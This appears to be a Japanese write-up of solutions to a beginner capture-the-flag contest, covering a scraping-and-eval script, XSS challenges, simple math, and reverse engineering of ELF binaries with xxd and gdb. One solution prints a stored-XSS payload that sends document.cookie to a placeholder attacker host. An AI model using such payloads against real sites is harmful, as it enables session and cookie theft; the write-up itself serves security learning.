60+N人中7位。問題は公開されていない。
Calc
SECCON Beginners CTF 2018 てけいさんえくすとりーむずのHTML版。ただし回答の時間制限は無い。
数式を取得し、結果をPOSTする。アクセスユーザ識別のためのCookie設定を忘れないこと。
import urllib.request
import urllib.parse
from bs4 import BeautifulSoup
from http.cookiejar import CookieJar
url = "http://10.2.6.1:8080/index.php"
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(CookieJar()))
res = opener.open(url)
html = res.read().decode("utf-8")
soup = BeautifulSoup(html, "html.parser")
exp = soup.find("div").text
for _ in range(100):
data = urllib.parse.urlencode({'answer':eval(exp)}).encode('utf-8')
res = opener.open(url, data)
html = res.read().decode("utf-8")
print(html)
soup = BeautifulSoup(html, "html.parser")
exp = soup.find("div").text
do alert
用意されたformに<script>alert(0)</script>
を仕込んでリロード
ASカンパニー
formから任意のtitleとtextを投稿するページがあり、投稿結果をクローラが巡回している。クローラのUAにFLAGが書かれている。
formにはscriptを仕込むことができるため、<script>document.location="http://<attacker>?"+encodeURIComponent(document.cookie)</script>
をtitleまたはtextに仕込んでクローラのアクセス結果を確認する。
Go Fast
計算するだけ
print(2**4085 % 97)
Factoring
素因数分解するだけ
$ factor 2240118421
2240118421: 43223 51827
Find it.
ELF file bin1
が与えられる。xxdでフラグを得る。
xxd bin1 | grep -A1 ctf
0001060: 6374 6634 627b 666c 3467 5f6e 3037 5f31 ctf4b{dummy____
0001070: 6e5f 6330 6433 5f35 3367 6d33 6e37 7d00 _________flag}.
Read it.
genflag sectionにFLAGが直書きされている。
00000000004005eb <genflag>:
4005eb: 55 push rbp
4005ec: 48 89 e5 mov rbp,rsp
4005ef: 48 83 ec 50 sub rsp,0x50
4005f3: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
4005fa: 00 00
4005fc: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
400600: 31 c0 xor eax,eax
400602: c6 45 c0 63 mov BYTE PTR [rbp-0x40],0x63
400606: c6 45 c1 74 mov BYTE PTR [rbp-0x3f],0x74
40060a: c6 45 c2 66 mov BYTE PTR [rbp-0x3e],0x66
40060e: c6 45 c3 34 mov BYTE PTR [rbp-0x3d],0x34
400612: c6 45 c4 62 mov BYTE PTR [rbp-0x3c],0x62
400616: c6 45 c5 7b mov BYTE PTR [rbp-0x3b],0x7b
40061a: c6 45 c6 63 mov BYTE PTR [rbp-0x3a],0x63
40061e: c6 45 c7 34 mov BYTE PTR [rbp-0x39],0x34
----- snip -----
Disassemble It.
パスワードを要求するELF fileが与えられる。gdb-pedaで実行。
$ ./bin3
Password : invalid password
Wrong..
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe3e0 --> 0x64696c61766e69 ('invalid')
RBX: 0x0
RCX: 0x0
RDX: 0x1
RSI: 0x555555556016 --> 0x57004e4f43434553 ('SECCON')
RDI: 0x7fffffffe3e0 --> 0x64696c61766e69 ('invalid')
RBP: 0x7fffffffe4b0 --> 0x0
RSP: 0x7fffffffe3d0 --> 0xffffe400
RIP: 0x555555555211 (<main+136>: call 0x555555555060 <strcmp@plt>)
R8 : 0x7ffff7dd5060 --> 0x7ffff7dd29e0 --> 0x7ffff7b96712 --> 0x2e2e00544d470043 ('C')
R9 : 0x7ffff7b81200 --> 0x2000200020002
R10: 0x0
R11: 0x246
R12: 0x555555555090 (<_start>: repz nop edx)
R13: 0x7fffffffe590 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555555200 <main+119>: lea rax,[rbp-0xd0]
0x555555555207 <main+126>: lea rsi,[rip+0xe08] # 0x555555556016
0x55555555520e <main+133>: mov rdi,rax
=> 0x555555555211 <main+136>: call 0x555555555060 <strcmp@plt>
0x555555555216 <main+141>: test eax,eax
0x555555555218 <main+143>: je 0x555555555235 <main+172>
0x55555555521a <main+145>: lea rdi,[rip+0xdfc] # 0x55555555601d
0x555555555221 <main+152>: mov eax,0x0
Guessed arguments:
arg[0]: 0x7fffffffe3e0 --> 0x64696c61766e69 ('invalid')
arg[1]: 0x555555556016 --> 0x57004e4f43434553 ('SECCON')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe3d0 --> 0xffffe400
0008| 0x7fffffffe3d8 --> 0x2
0016| 0x7fffffffe3e0 --> 0x64696c61766e69 ('invalid')
0024| 0x7fffffffe3e8 --> 0x0
0032| 0x7fffffffe3f0 --> 0x0
0040| 0x7fffffffe3f8 --> 0x0
0048| 0x7fffffffe400 --> 0x0
0056| 0x7fffffffe408 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000555555555211 in main ()
gdb-peda$
入力した文字列と’SECCON’を比較しているため、これがパスワードだと推測する
./bin3
Password : SECCON
Okay, Process a one byte..
Password : SECCON
Okay, Process a one byte..
Password : SECCON
Okay, Process a one byte..
----- snip -----
何度も同じパスワードを要求するため、pipeで’SECCON’を入力。フラグを得る。
echo 'SECCON' | ./bin3
Password : Okay, Process a one byte..
Password : Okay, Process a one byte..
Password : Okay, Process a one byte..
Password : Okay, Process a one byte..
----- snip -----
Password : Okay, Process a one byte..
DONE -> FLAG : ctf4b{DUMMY}